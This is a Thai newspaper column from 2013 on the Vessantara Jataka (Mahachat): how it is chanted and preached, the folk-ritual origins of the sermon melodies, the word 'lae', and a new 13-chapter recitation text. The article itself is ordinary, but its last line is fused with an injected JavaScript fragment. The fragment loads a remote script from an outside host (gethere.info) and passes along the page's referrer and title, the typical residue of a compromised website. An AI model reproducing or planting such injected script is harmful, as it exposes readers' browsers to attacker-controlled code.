มติชนรายวัน ฉบับประจำวันพุธที่ 5 มิถุนายน 2556

 

          มหาชาติ หมายถึงชาดกเรื่องพระเวสสันดร แบ่งเป็นตอนๆ เรียกกัณฑ์ มีทั้งหมด 13 กัณฑ์ แสดงทานบารมี คือเล่าเรื่องการบำเพ็ญทานของพระเวสสันดร ทำให้เกิดบารมีใหญ่หลวงเป็นพระโพธิสัตว์

          สังคมไทยยกย่องมหาชาติเวสสันดรชาดก จึงให้ความสำคัญเรื่องการทำทาน (นักวิชาการบอกว่าสังคมพม่ายกย่องมโหสถชาดก แสดงปัญญาบารมี)

          แล้วเผยแผ่มหาชาติผ่านพิธีกรรมแรกสุดเรียกสวด แล้วพัฒนาเป็นเทศน์ จนถึงเขียนภาพเล่าเรื่องไว้บนผนังโบสถ์วิหาร เรียกจิตรกรรมฝาผนัง

          สวดมหาชาติ หมายถึงเล่าเรื่องพระเวสสันดรเป็นทำนองอย่างหนึ่งตามคำประพันธ์ที่มีผู้แต่งขึ้นเป็นภาษาไทย

          ทำนองสวดมหาชาติ น่าจะได้จากทำนองสวดคาถาพัน เป็นภาษาบาลี (ซึ่งเชื่อกันว่ามีต้นแบบจากพระสงฆ์มอญ)

          แต่ผมเห็นว่านอกจากได้จากพระสงฆ์มอญแล้ว ยังได้ลีลาจากหมอผีหมอขวัญด้วย ยังมีเค้าอยู่ในประเพณีเทศน์มหาชาติของลาวกลุ่มต่างๆ ที่ทำตามสำเนียงสวดของกลุ่มตน

          เทศน์มหาชาติ หมายถึงเล่าเรื่องพระเวสสันดรเป็นทำนองต่างๆ ที่เปลี่ยนลีลาไปตามเนื้อเรื่องบทประพันธ์ที่มีผู้แต่งเป็นร่ายยาว ซึ่งน่าจะมีขึ้นราวหลัง พ.ศ. 2000

          ทำนองเทศน์มหาชาติ มีต้นเค้าจากทำนองขับลำคำหมอผีหมอขวัญ ที่ใช้ร่ายจำเรียงวิงวอนร้องขอต่อผีบรรพชน เพื่อความอุดมสมบูรณ์ในพืชพันธุ์ธัญญาหาร

          คนทั่วไปฟังพระเทศน์เนื้อๆมหาชาติอย่างเดียวก็ง่วงและเบื่อ เลยมีผู้คิดประดิษฐ์ทำนองพลิกแพลงเพิ่ม“พลความ” ทั้งแทรกในเนื้อ กับแถมหลังเทศน์จบเนื้อแล้ว ที่เรียกต่อมาว่าแหล่ ใช้ทำนองโลดโผนที่ได้จากช่างขับและหมอเพลง (แม่เพลง พ่อเพลง)

          แหล่ แปลว่า เกิน, ล้น, มากกว่าที่กำหนดหรือต้องการ, ยังค้างอยู่, ยังไม่หมด (พจนานุกรม ฉบับมติชน) ยังมีคำเทียบให้เห็นเป็นประจักษ์พยาน คือ เหลือแหล่ แปลว่า มากมาย

          คำอธิบายแต่ก่อนมาว่าแหล่มาจาก“นั้นแล” เมื่อพระเทศน์จบ ซึ่งผมเห็นว่าเป็นคำอธิบายให้สนุกเฉพาะหน้า มากกว่าจะเป็นจริงจัง จึงยังไม่น่าเชื่อได้

          ที่เขียนมานี้ เพราะได้อ่านมหาเวสสันดรชาดก ฉบับทรงเครื่อง ของพระราชวิจิตรปฏิภาณ (เจ้าคุณพิพิธ) วัดสุทัศน์ ที่แต่งใหม่ เรียกใหม่ว่า “แหล่สรุปวิจัยเรื่อง” ทั้ง 13 กัณฑ์

          (ธรรมสภา จัดพิมพ์เผยแพร่ เล่มละ 300 บาท ติดต่อที่ www.thammaspa.com โทร. 08 9210 5133)

          ผมอ่านแล้วยังไม่จุใจ เพราะกิเลสยังยึดครองใจ ขออาราธนาให้แต่งแหล่สรุปเนื้อเรื่องมหาชาติเป็นกัณฑ์ๆ แต่ละกัณฑ์มีความยาวเท่าเพลงลูกทุ่ง 1 เพลง รวม 13 แหล่

          พระนักเทศน์อื่นๆ สำนักต่างๆ จะแต่งบ้างก็ได้ ไม่บาป แถมได้บุญ จะได้ฟังหลายสำนวน ของหลายสำนักs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;